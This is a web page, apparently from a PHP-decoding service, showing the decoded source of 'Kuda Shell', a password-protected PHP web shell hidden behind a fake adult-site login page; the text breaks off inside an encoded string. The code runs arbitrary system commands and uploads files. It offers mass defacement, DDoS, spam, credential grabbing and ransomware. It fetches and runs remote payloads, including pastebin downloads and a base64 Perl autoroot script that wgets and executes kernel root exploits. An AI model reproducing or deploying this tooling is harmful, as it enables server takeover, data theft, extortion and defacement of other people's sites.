Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php session_start(); error_reporting(0); set_time_limit(0); $kepo='ADuAxH/s/XZq4lW6N..
Decoded Output download
date_default_timezone_set("Asia/Jakarta");
$auth_pass = "b928ed0200f5fcb13d7ea78d2cc2124b";
if(get_magic_quotes_gpc()) {
function VEstripslashes($array) {
return is_array($array) ? array_map('VEstripslashes', $array) : stripslashes($array); }
$_POST = VEstripslashes($_POST);
$_COOKIE = VEstripslashes($_COOKIE); }
function Login() {
die("
<html>
<head>
<title>BRAZZERS || Free Porn Videos</title>
<style type='text/css'>
html{margin: 20px auto; background: black; text-align: center;}
input[type=password]{background: transparent; color: red; margin: 0 10px; font-family: Homenaje; font-size: 13px; border: 1px solid black; text-align: center;}
input[type=submit]{background: grey; color: red; margin: 0 4px; font-size: 13px; border: 1px solid #444444; cursor: pointer; -moz-border-radius: 5px; -webkit-border-radius: 5px; -khtml-border-radius: 5px;}
</style></head>
<header>
<center>
<br>
<form method='post'><input type='password' name='pass'></form><br>
<img src='https://i.imgur.com/akJgR9m.png' width='320' height='320'>
<br>
<br>
<form method='jembut'><input type='password' name='pass' style='border: 1px dotted deepskyblue'><input type='submit' name='submit' value='Crotzz!'></form>
");
}
function VEsetcookie($k, $v) {
$_COOKIE[$k] = $v;
setcookie($k, $v);
}
if(!empty($auth_pass)) {
if(isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass))
VEsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);
if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
Login();
}
?>
<!DOCTYPE HTML>
<html>
<head>
<title>-=[Kuda Shell]=-</title>
<meta name="author" content="Con7ext">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta charset="utf-8">
<style type="text/css">
@import url(https://fonts.googleapis.com/css?family=Share+Tech+Mono);
@fontface{font-weight: normal; font-style: normal; font-family: 'Share Tech Mono';}
html{font-family: 'Share Tech Mono'; font-size: 13px; width: 100%;}
body{background-color: black; background-size: 100% 100%; background-repeat: no-repeat; background-attachment: fixed; background-position: center center; margin: 0px; color: #fff;}
body, a:hover {cursor: url(http://cur.cursors-4u.net/cursors/cur-11/cur1025.ani), url(http://cur.cursors-4u.net/cursors/cur-11/cur1025.png), auto !important;}
a{text-decoration: none; color: aqua; cursor: auto;}
a:hover{border-bottom-width: 2px; border-bottom-style: solid; border-bottom-color: #ffffff;}
tbody{display: table-row-group; vertical-align: middle; border-color: inherit;}
table{white-space: normal; line-height: normal; font-weight: normal; font-style: normal; color: -internal-quirk-inherit; text-align: start; font-variant: normal normal;}
table{display: table; border-collapse: collapse; border-spacing: 2px; color: blue;}
tr{display: table-row; vertical-align: inherit; border-color: inherit;}
td, th{display: table-cell; vertical-align: inherit;}
#menu a{font-family: Share Tech Mono; -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box; border: 2px; font-size: 13px; background: #191919; color: deepskyblue; margin:5px 2px 4px 2px; padding:5px 8px; border-color: cyan; text-decoration: none; letter-spacing: 1px; -moz-border-radius: 7px; -webkit-border-radius: 7px; -khtml-border-radius: 7px; border-radius: 7px;}
#menu a:hover{font-size: 13px; background: #191919; -webkit-transform: rotate(0.0deg); -moz-transform: rotate(0.0deg); -ms-transform: rotate(0.0deg); -o-transform: rotate(0.0deg); transform: rotate(0.0deg); color: red; padding:5px 8px; margin: 1px; border: 2px; font-family: Share Tech Mono; -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box; border: 1; letter-spacing: 1px; margin: 5px 2px 4px 2px; -moz-border-radius: 7px; -webkit-border-radius: 7px; -khtml-border-radius: 7px; border-radius: 7px;}
a{-webkit-transition: all .1s ease-in-out; -moz-transition: all .1s ease-in-out; -o-transition: all .1s ease-in-out; -ms-transition: all .1s ease-in-out; transition: all .1s ease-in-out text-decoration: none;}
.content{border: 1px solid blue; width: 100%;}
.content a:link{text-decoration: none;}
.content a:visited{text-decoration: none;}
.content a:hover{background: black; color: red;}
.content td{padding: 0 8px; line-height: 25px;}
.content th{background: red; padding: 3px 6px; font-weight: normal; font-size: 15px; color: white;}
.content tr:hover{cursor: pointer; background-color: #111111;}
input[type=submit]{background: #000000; color: #b3eeff; margin: 0 4px; font-size: 13px; border: 1px solid #444444; cursor: pointer; -moz-border-radius: 5px; -webkit-border-radius: 5px; -khtml-border-radius: 5px;}
input[type=submit]:hover{border-bottom: 1px solid #ffffff; font-size: 13px; border-top: 1px solid #ffffff;}
input[type=text], option, select{background: #000000; border: 1; padding: 1px; border-bottom: 1px solid #393939; color: red;}
textarea{margin: auto; border: 1px solid #333333; width: 100%; height: 400px; background: #000000; color: #b3eeff; padding: 0 2px; font-size: 13px;}
#nav{position: fixed; z-index: 999; top: 0; width: 100%; left: 76%;}
a.nav-fokus{display: block; width: auto; height: auto; background: transparent; border-top: 0px; border-left: 1px solid #fff; border-right: 1px solid #fff; border-bottom: 1px solid #fff; padding: 5px 8px; text-align: center; text-decoration: none; color: #b3eeff; line-height: 20px; overflow: hidden; float: left;}
a.nav-fokus:hover{color: #FFFFFF; background: #191919; border-top: 0px; border-left: 1px solid #fff; border-right: 1px solid #fff; border-bottom: 1px solid #fff;}
.mybox{-moz-border-radius: 10px; border-radius: 10px; border: 1px solid #ff0000; padding: 4px 2px; width: 100%; line-height: 24px; background: none; box-shadow: 0px 4px 2px white; -webkit-box-shadow: 0px 4px 2px #ff0000; -moz-box-shadow: 0px 4px 2px #ff0000;}
.cgx2{text-align: center; letter-spacing: 1px; font-family: 'Share Tech Mono'; color: white; font-size: 25px; text-shadow: 5px 5px 5px black;}
img{opacity: 0.8;} img:hover{opacity: 1.2;}
</style></head>
<body>
<center><br/>
<audio autoplay="autoplay" controls="controls" width="130px" height="28px"><source src="https://www.youtube-audio.org/get/?h=im2rcq6xrcx2bsj7tsiebt1u7tee31xvai478rwm&vid=iZ4QpdOqJuc&qual=128"></audio></source></center>
<br/>
<?php
function w($dir,$perm) {
if(!is_writable($dir)) {
return "<font color=red>".$perm."</font>";
} else {
return "<font color=green>".$perm."</font>";
}
}
function r($dir,$perm) {
if(!is_writable($dir)) {
return "<font color=red>".$perm."</font>";
} else {
return "<font color=green>".$perm."</font>";
}
}
function hdd($s) {
if($s >= 1073741824)
return sprintf('%1.2f',$s / 1073741824 ).' GB';
elseif($s >= 1048576)
return sprintf('%1.2f',$s / 1048576 ) .' MB';
elseif($s >= 1024)
return sprintf('%1.2f',$s / 1024 ) .' KB';
else
return $s .' B';
}
function exe($cmd) {
if(function_exists('system')) {
@ob_start();
@system($cmd);
$buff = @ob_get_contents();
@ob_end_clean();
return $buff;
} elseif(function_exists('exec')) {
@exec($cmd,$results);
$buff = "";
foreach($results as $result) {
$buff .= $result;
} return $buff;
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cmd);
$buff = @ob_get_contents();
@ob_end_clean();
return $buff;
} elseif(function_exists('shell_exec')) {
$buff = @shell_exec($cmd);
return $buff;
}
}
function magic($text) {
if(!get_magic_quotes_gpc()) {
return $text;
}
return stripslashes($text);
}
function defid($url,$nick,$team) {
$ch = curl_init("https://defacer.id/archive/notify");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, "attacker=$nick&team=$team&poc=Not Available&url=$url");
return curl_exec($ch);
curl_close($ch);
}
function zoneh($url,$nick) {
$ch = curl_init("http://zone-h.org/notify/mass");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, "defacer=$nick&domain1=$url&domain2=$url&domain3=$url&domain4=$url&domain4=$url&domain5=$url&domain6=$url&domain7=$url&domain8=$url&domain9=$url&domain10=$url&hackmode=1&reason=1&submit=Send");
return curl_exec($ch);
curl_close($ch);
}
function GrabUrl($url,$type){
$urlArray = array();
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$result = curl_exec($ch);
$regex='|<a.*?href="(.*?)"|';
preg_match_all($regex,$result,$parts);
$links=$parts[1];
foreach($links as $link){
array_push($urlArray, $link);
}
curl_close($ch);
foreach($urlArray as $value){
$kuda="$url$value";
if(preg_match("#$type#is", $kuda)) {
echo "$kuda
";
}
}
}
function showdisablefunctions() {
if ($disablefunc=@ini_get("disable_functions")){ return "<span style='color:'><font color=red>".$disablefunc."</font></span>"; }
else { return "<span style='color:lime'>GAK ADA</span>"; }
}
function ambilKata($param, $kata1, $kata2){
if(strpos($param, $kata1) === FALSE) return FALSE;
if(strpos($param, $kata2) === FALSE) return FALSE;
$start = strpos($param, $kata1) + strlen($kata1);
$end = strpos($param, $kata2, $start);
$return = substr($param, $start, $end - $start);
return $return;
}
function perms($file){
$perms = fileperms($file);
if (($perms & 0xC000) == 0xC000) {
// Socket
$info = 's';
} elseif (($perms & 0xA000) == 0xA000) {
// Symbolic Link
$info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
// Regular
$info = '-';
} elseif (($perms & 0x6000) == 0x6000) {
// Block special
$info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {
// Directory
$info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {
// Character special
$info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
// FIFO pipe
$info = 'p';
} else {
// Unknown
$info = 'u';
}
// Owner
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
(($perms & 0x0800) ? 's' : 'x' ) :
(($perms & 0x0800) ? 'S' : '-'));
// Group
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
(($perms & 0x0400) ? 's' : 'x' ) :
(($perms & 0x0400) ? 'S' : '-'));
// World
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
(($perms & 0x0200) ? 't' : 'x' ) :
(($perms & 0x0200) ? 'T' : '-'));
return $info;
}
$orang_gans = '8y3Sq2NXLFfMLlpWBAA=';
$sys = php_uname();
$ip = gethostbyname($_SERVER['HTTP_HOST']);
$sport = $_SERVER['SERVER_PORT'];
$freespace = hdd(disk_free_space("/"));
$total = hdd(disk_total_space("/"));
$used = $total - $freespace;
$sm = (@ini_get(strtolower("safe_mode")) == 'on') ? '<font color=cyan>NYALA</font>' : '<font color=red>MATI</font>';
$getds = @ini_get("disable_functions");
$ds = showdisablefunctions().' <font color=white>di</font> <font color=cyan>'.php_sapi_name().'</font>';
$mysql = (function_exists('mysql_connect')) ? "<font color=cyan>NYALA</font>" : "<font color=red>MATI</font>";
$curl = (function_exists('curl_version')) ? "<font color=cyan>NYALA</font>" : "<font color=red>MATI</font>";
$wget = (exe('wget --help')) ? "<font color=cyan>NYALA</font>" : "<font color=red>MATI</font>";
$perl = (exe('perl --help')) ? "<font color=cyan>NYALA</font>" : "<font color=red>MATI</font>";
$python = (exe('python --help')) ? "<font color=cyan>NYALA</font>" : "<font color=red>MATI</font>";
if(!function_exists('posix_getegid')) {
$user = @get_current_user();
$uid = @getmyuid();
$gid = @getmygid();
$group = "?";
} else {
$uid = @posix_getpwuid(posix_geteuid());
$gid = @posix_getgrgid(posix_getegid());
$user = $uid['name'];
$uid = $uid['uid'];
$group = $gid['name'];
$gid = $gid['gid'];
}
$d0mains = @file("/etc/named.conf");
$users=@file('/etc/passwd');
if($d0mains)
{
$count;
foreach($d0mains as $d0main)
{
if(@ereg("zone",$d0main))
{
preg_match_all('#zone "(.*)"#', $d0main, $domains);
flush();
if(strlen(trim($domains[1][0])) > 2)
{
flush();
$count++;
}
}
}
}
if(isset($_GET['path'])){
$path = $_GET['path'];
}else{
$path = getcwd();
}
$path = str_replace('\','/',$path);
$paths = explode('/',$path);
$home_r = $_SERVER['DOCUMENT_ROOT'];
$_COPY = (gzinflate(str_rot13(base64_decode($orang_gans))));
if(get_magic_quotes_gpc()){
foreach($_POST as $key=>$value){
$_POST[$key] = stripslashes($value);
}
}
if($_POST['upload']) {
if($_POST['tipe_upload'] == 'biasa') {
if(@copy($_FILES['kuda_file']['tmp_name'], "$path/".$_FILES['kuda_file']['name']."")) {
$act = "<font color=green>Uploaded!</font> at <i><b>$path/".$_FILES['kuda_file']['name']."</b></i>";
} else {
$act = "<font color=red>Failed to upload file</font>";
}
} else {
$root = $_SERVER['DOCUMENT_ROOT']."/".$_FILES['kuda_file']['name'];
$web = $_SERVER['HTTP_HOST']."/".$_FILES['kuda_file']['name'];
if(is_writable($_SERVER['DOCUMENT_ROOT'])) {
if(@copy($_FILES['kuda_file']['tmp_name'], $root)) {
$act = "<font color=green>Uploaded!</font> at <i><b>$root -> </b></i><a href='http://$web' target='_blank'>$web</a>";
} else {
$act = "<font color=red>Failed to upload file</font>";
}
} else {
$act = "<font color=red>Failed to upload file</font>";
}
}
}
echo "<center>UPLOADER :
<form method='post' enctype='multipart/form-data'>
<input type='radio' name='tipe_upload' value='biasa' checked>Biasa [ ".w($path,"Writeable")." ]
<input type='radio' name='tipe_upload' value='home_root'>Home_Root [ ".w($_SERVER['DOCUMENT_ROOT'],"Writeable")." ]<br>
<input type='file' name='kuda_file'>
<input type='submit' value='Upload!' name='upload'>
</form><br>";
echo $act;
echo "</center>";
echo"
<hr color=aqua><img src=https://i.imgur.com/akJgR9m.png width=161px height=161px align=left>
System : <font color=cyan>".$sys."</font><br>
User : <font color=cyan>".$user."</font> (".$uid.") Group : <font color=cyan>".$group."</font> (".$gid.")<br>
Server IP : <font color=cyan>".$ip."</font> | IP Mu : <font color=cyan>".$_SERVER["REMOTE_ADDR"]."</font><br>
HDD : <font color=cyan>".$used."</font> ( Bebas : <font color=cyan>".$freespace."</font> ) ( Total : <font color=cyan>".$total."</font> )<br>
Websites : <font color=cyan>".$count."</font> Domains<br>
Port : <font color=cyan>".$sport."</font><br>
Safe Mode : ".$sm."<br>
Tanggal/Waktu : <font color=cyan>".date("d M Y h:i:s a")."</font><br>
Disable Functions : ".$ds."</font><br>
MySQL : ".$mysql." | Perl : ".$perl." | Python : ".$python." | WGET : ".$wget." | CURL : ".$curl."
<hr color=aqua><div id='menu'><center>
<a href='?path=$path&do=spam_mail'>Mail Spammer</a><a href='?simple=rooter'>Simple Root</a><a href='?path=$path&bypass=disablefunc'>Bypass Disable Functions</a><a href='?path=$path&bypass=passwd'>Bypass /etc/passwd</a><a href='?path=$path&bypass=vhosts'>Bypass vHost</a><a href='?path=$path&kuda=bcf'>Bypass Cloudflare</a><a href='?path=$path&kuda=ports'>Port Scanner</a><a href='?path=$path&kuda=edr'>En/Decoder</a><br><br>
<a href='?weev'>Weevely Backdoor</a><a href='?path=$path&scan=sqli'>Sqli Scanner</a><a href='?path=$path&kuda=mass'>Mass Deface</a><a href='?path=$path&kuda=edit_user'>Auto Edit User</a><a href='?path=$path&kuda=edit_title'>Auto Edit Title</a><a href='?path=$path&backconnect=tool'>Back Connect</a><a href='?path=$path&kuda=domains'>Domains Viewer</a><a href='?path=$path&kuda=shellscan'>Shell Scanner</a><br><br>
<a href='?path=$path&kuda=auto_dwp'>Wp Auto Deface</a><a href='?path=$path&kuda=cmd'>Command</a><a href='?path=$path&config=grabber'>Config</a><a href='?path=$path&kuda=adminer'>Adminer</a><a href='?path=$path&kuda=jumping'>Jumping</a><a href='?path=$path&kuda=cpanel'>Grab Cpanel</a><a href='?path=$path&kuda=krdp_shell'>K-RDP Shell</a><a href='?path=$path&kuda=smtp'>SMTP Grabber</a><a href='?path=$path&kuda=ddos'>DDoS</a><a href='?kuda=ransomware'>Ransomware</a><br><br>
<a href='?fuck=config'>Config Fucker</a><a href='?path=$path&mirror=zoneh'>Zone-H</a><a href='?path=$path&mirror=defid'>DefacerID</a><a href='?path=$path&kuda=hijack_wp'>Wp Auto Hijack</a><a href='?path=$path&kuda=hashgen'>Hash Generator</a><a href='?path=$path&kuda=hashid'>Hash Identifier</a><a href='?path=$path&kuda=fake_root'>Fake Root</a><br><br>
<a href='?path=$path&do=w00ts'>Local Root</a><a href='?path=$path&symlink=server'>Symlink Server</a><a href='?path=$path&symlink=404'>Symlink 404</a><a href='?path=$path&symlink=python'>Symlink Python</a><a href='?path=$path&db=dump'>DB Dump</a><a href='?path=$path&vb=ngindex'>VB Index Changer</a><br><br>
<a href='?path=$path&code=inject'>Code Injector</a><a href='?path=$path&xk=whmcs'>WHMCS Decoder</a><a href='?path=$path&kuda=zip_menu'>Zip Menu</a><a href='?path=$path&act=newfolder'>Create Folder</a><a href='?path=$path&act=newfile'>Create File</a><br><br>
<a href='?path=$path&kuda=cgi'>CGI Perl</a><a href='?path=$path&kuda=cgi2'>CGI Perl 2</a><a href='?path=$path&kuda=cgipy'>CGI Python</a><a href='?path=$path&kuda=loghunter'>Log Hunter</a><a href='?path=$path&kuda=safemode'>Safe Mode</a><br><br>
<a href='?path=$path&ip=reverse'>Reverse IP</a><a href='?path=$path&kuda=phpinfo'>PHP Info</a><a href='?path=$path&kuda=serverinfo'>Server Info</a><br><br><a href='?path=$path&kuda=about'>About</a><a href='?path=$path&my=contact'>Contact</a></div></center>";
echo "<div id='nav'>
<a class='nav-fokus' href='?'><b>Home</b></a><a class='nav-fokus' href='?path=$path&delete=logs'><b>Delete Logs</b></a><a class='nav-fokus' href='?path=$path&kill=self'><b>Kill Self</b></a><a class='nav-fokus' href='?path=$path&logout=true'><b>LogOut</b></a></div>";
echo '
<hr color=aqua>
<tr><td><font color=white>Directory At : </font>';
foreach($paths as $id=>$pat){
if($pat == '' && $id == 0){
$a = true;
echo '<a href="?path=/">/</a>';
continue;
}
if($pat == '') continue;
echo '<a href="?path=';
for($i=0;$i<=$id;$i++){
echo "$paths[$i]";
if($i != $id) echo "/";
}
echo '">'.$pat.'</a>/';
}
echo '</td></tr><hr color=aqua>';
function inject($pastebin, $nama_file){
$usa = file_get_contents("$pastebin");
$frr = fopen("$nama_file", 'w');
fwrite($frr, $usa);
}
if($_GET['simple'] == 'rooter') {
echo"<center><form method=post><h2>Simple Rooter Just work in kernel -2016</h2><font color=blue>>> Login: ( ssh azzatssins@".$ip." ) or ( su azzatssins )<br><hr color=aqua><br>
New Password:</font> <input type='text' name='passwd' value='17081945'> <input type=submit name=azzzt value='Root!'></form></center>";
if($_POST['azzzt']) {
exe("wget https://raw.githubusercontent.com/cyberserkers/root/master/azx && chmod +x azx && ./azx ".$_POST['passwd']);
}}
$kuda = @$_GET['kuda'];
if($kuda == "ransomware"){
$bat = inject("https://pastebin.com/raw/DpY9iPAK", "ransom.php");
echo '<center><a href="ransom.php" target="_blank">>> RANSOMWARE <<</a></center>';
}
$fuck = @$_GET['fuck'];
if($fuck == "config"){
$kentod = inject("https://pastebin.com/raw/YSN78zrm", "confuck.php");
echo '<center><a href="confuck.php" target="_blank">>> CONFIG FUCKER <<</a></center>';
} elseif($_GET['do'] == 'w00ts'){
print'<center><h2>Autoroot Generator Coded By Mauritania Attacker</h2></center>';
print'<center><font color="blue" size="2pt"><b>Special Greet To HusseiN98D</b><font/></center><br>';
print"<p align='center'><img border='0' src='http://www.spirit-of-metal.com/les%20goupes/R/Root/pics/logo.jpg'></p><br>";
print'<div class="tul"><center><font color="blue">';
@error_reporting(0);
sleep(2);
print "<p><b>Script Autoroot Perl Extracted Successfully.... !</b></p><br>";
//generate autoroot script perl
mkdir('lulZ',0755);
$shellw0rm = 'cHJpbnQgIiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjXG4iOw0KcHJpbnQgIiAgICAgICAgIEFub25HaG9zdCBTbTRzaCBhdXRvIHIwMHQgICAgICAgICAgXG4iOw0KcHJpbnQgIiAgICAgICAgICAgICAgICAgMjAwNSAtIDIwMTMgICAgICAgICAgICAgICAgXG4iOw0KcHJpbnQgIiAgICAgX19fX19fXyAgX19fX19fXyAgX19fX19fXyBfX19fX19fX18gICAgXG4iOw0KcHJpbnQgIiAgICAoICBfX19fICkoICBfXyAgICkoICBfXyAgIClcX18gICBfXy8gICAgXG4iOw0KcHJpbnQgIiAgICB8ICggICAgKXx8ICggICkgIHx8ICggICkgIHwgICApICggICAgICAgXG4iOw0KcHJpbnQgIiAgICB8IChfX19fKXx8IHwgLyAgIHx8IHwgLyAgIHwgICB8IHwgICAgICAgXG4iOw0KcHJpbnQgIiAgICB8ICAgICBfXyl8ICgvIC8pIHx8ICgvIC8pIHwgICB8IHwgICAgICAgXG4iOw0KcHJpbnQgIiAgICB8IChcICggICB8ICAgLyB8IHx8ICAgLyB8IHwgICB8IHwgICAgICAgXG4iOw0KcHJpbnQgIiAgICB8ICkgXCBcX198ICAoX18pIHx8ICAoX18pIHwgICB8IHwgICAgICAgXG4iOw0KcHJpbnQgIiAgICB8LyAgIFxfXy8oX19fX19fXykoX19fX19fXykgICApXyggICAgICAgXG4iOw0KcHJpbnQgIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXG4iOw0KcHJpbnQgIgkJCSAgIENvZGVkIGJ5IEh1c3NlaU45OEQgICAgICAgICAgICAgXG4iOw0KcHJpbnQgIgkJCQkgICAgIDE5LzA4LzIwMTQJCSAgICAgICAgICAgXG4iOw0KcHJpbnQgIgkJICBUbyByb290IGxpbnV4ICwgcGVybCAkMCBsbnggICAgICAgICAgXG4iOw0KcHJpbnQgIgkJICBUbyByb290IEJzZCAsICBwZXJsICQwIGJzZCAgICAgICAgICAgXG4iOw0KcHJpbnQgIgkJICBUbyByb290IFN1bk9TICwgcGVybCAkMCBzdW5vcyAgICAgICAgXG4iOw0KcHJpbnQgIiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjXG4iOw0KDQoNCmlmICgkQVJHVlswXSA9fiAibG54IiApDQp7DQpwcmludCAiIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjI1xuIjsNCnByaW50ICIjIExpbnV4L0JzZC9TdW5vcyBBVVRPLVJPT1RFUiAgI1xuIjsNCnByaW50ICIjICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI1xuIjsNCnByaW50ICIjICAgICAgICBIYXZlIGEgY29mZmUgICAgICAgICAgI1xuIjsNCnByaW50ICIjICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI1xuIjsNCnByaW50ICIjICAgICAgIFJvb3RpbmcgbGludXggICAgICAgICAgI1xuIjsNCnByaW50ICIjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjXG4iOw0Kc3lzdGVtKCJ1bmFtZSAtYTtta2RpciBsbng7Y2QgbG54Iik7DQpwcmludCAiWytdIFdhaXQuLlxuIjsNCg0Kc3lzdGVtKCJ3Z2V0IHd3dy50dXgtcGxhbmV0LmZyL3B1YmxpYy9oYWNrL2V4cGxvaXRzL2tlcm5lbC9sb2NhbC1yb290LWV4cGxvaXQtZ2F5cm9zLmMiKTsNCnN5c3RlbSgiZ2NjIC1vIGdheXJvcyBsb2NhbC1yb290LWV4cGxvaXQtZ2F5cm9zLmMiKTsNCnN5c3RlbSgiY2htb2QgNzc3IGdheXJvcyIpOw0Kc3lzdGVtKCIuL2dheXJvcyIpOw0Kc3lzdGVtKCJpZCIpOw0KDQpzeXN0ZW0oIndnZXQgd3d3LnR1eC1wbGFuZXQuZnIvcHVibGljL2hhY2svZXhwbG9pdHMva2VybmVsL3Ztc3BsaWNlLWxvY2FsLXJvb3QtZXhwbG9pdC5jIik7DQpzeXN0ZW0oImdjYyAtbyB2bXNwbGljZS1sb2NhbC1yb290LWV4cGxvaXQgdm1zcGxpY2UtbG9jYWwtcm9vdC1leHBsb2l0LmMiKTsNCnN5c3RlbSgiY2htb2QgNzc3IHZtc3BsaWNlLWxvY2FsLXJvb3QtZXhwbG9pdCIpOw0Kc3lzdGVtKCIuL3Ztc3BsaWNlLWxvY2FsLXJvb3QtZXhwbG9pdCIpOw0Kc3lzdGVtKCJpZCIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL3JtY2N1cmR5LmNvbS9zY3JpcHRzL2Rvd25sb2FkZWQvbG9jYWxyb290LzIuNi54L3gyIik7DQpzeXN0ZW0oImNobW9kIDc3NyB4MiIpOw0Kc3lzdGVtKCIuL3gyIik7DQpzeXN0ZW0oImlkIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vcm1jY3VyZHkuY29tL3NjcmlwdHMvZG93bmxvYWRlZC9sb2NhbHJvb3QvMi42LngveCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgeCIpOw0Kc3lzdGVtKCIuL3giKTsNCnN5c3RlbSgid2dldCBodHRwOi8vcm1jY3VyZHkuY29tL3NjcmlwdHMvZG93bmxvYWRlZC9sb2NhbHJvb3QvMi42LngvdXNlbGliMjQiKTsNCnN5c3RlbSgiY2htb2QgNzc3IHVzZWxpYjI0Iik7DQpzeXN0ZW0oIi4vdXNlbGliMjQiKTsNCnN5c3RlbSgiaWQiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9ybWNjdXJkeS5jb20vc2NyaXB0cy9kb3dubG9hZGVkL2xvY2Fscm9vdC8yLjYueC9yb290MiIpOw0Kc3lzdGVtKCJjaG1vZCA3Nzcgcm9vdDIiKTsNCnN5c3RlbSgiaWQiKTsNCg0Kc3lzdGVtKCIuL3Jvb3QyIik7DQpzeXN0ZW0oIndnZXQgaHR0cDovL3JtY2N1cmR5LmNvbS9zY3JpcHRzL2Rvd25sb2FkZWQvbG9jYWxyb290LzIuNi54L2ttb2QyIik7DQpzeXN0ZW0oImNobW9kIDc3NyBrbW9kMiIpOw0Kc3lzdGVtKCIuL2ttb2QyIik7DQpzeXN0ZW0oIndnZXQgaHR0cDovL3JtY2N1cmR5LmNvbS9zY3JpcHRzL2Rvd25sb2FkZWQvbG9jYWxyb290LzIuNi54L2gwMGx5c2hpdCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgaDAwbHlzaGl0Iik7DQpzeXN0ZW0oIi4vaDAwbHlzaGl0Iik7DQpzeXN0ZW0oImlkIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vcm1jY3VyZHkuY29tL3NjcmlwdHMvZG93bmxvYWRlZC9sb2NhbHJvb3QvMi42LngvZXhwLnNoIik7DQpzeXN0ZW0oImNobW9kIDc1NSBleHAuc2giKTsNCnN5c3RlbSgic2ggZXhwLnNoIik7DQpzeXN0ZW0oImlkIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vcm1jY3VyZHkuY29tL3NjcmlwdHMvZG93bmxvYWRlZC9sb2NhbHJvb3QvMi42LngvZWxmbGJsIik7DQpzeXN0ZW0oImNobW9kIDc3NyBlbGZsYmwiKTsNCnN5c3RlbSgiLi9lbGZsYmwiKTsNCnN5c3RlbSgiaWQiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9ybWNjdXJkeS5jb20vc2NyaXB0cy9kb3dubG9hZGVkL2xvY2Fscm9vdC8yLjYueC9jdzcuMyIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgY3c3LjMiKTsNCnN5c3RlbSgiLi9jdzcuMyIpOw0Kc3lzdGVtKCJpZCIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuMTgtMzc0LjEyLjEuZWw1LTIwMTIiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi4xOC0zNzQuMTIuMS5lbDUtMjAxMiIpOw0Kc3lzdGVtKCIuLzIuNi4xOC0zNzQuMTIuMS5lbDUtMjAxMiIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjE4LTIwMTEiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi4xOC0yMDExIik7DQpzeXN0ZW0oIi4vMi42LjE4LTIwMTEiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIuNi4xOC0yNzQtMjAxMSIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMi42LjE4LTI3NC0yMDExIik7DQpzeXN0ZW0oIi4vMi42LjE4LTI3NC0yMDExIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuMTgtNi14ODYtMjAxMSIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMi42LjE4LTYteDg2LTIwMTEiKTsNCnN5c3RlbSgiLi8yLjYuMTgtNi14ODYtMjAxMSIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3Qvdm1zcGxpY2UtbG9jYWwtcm9vdC1leHBsb2l0Iik7DQpzeXN0ZW0oImNobW9kIDc3NyB2bXNwbGljZS1sb2NhbC1yb290LWV4cGxvaXQiKTsNCnN5c3RlbSgiLi92bXNwbGljZS1sb2NhbC1yb290LWV4cGxvaXQiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2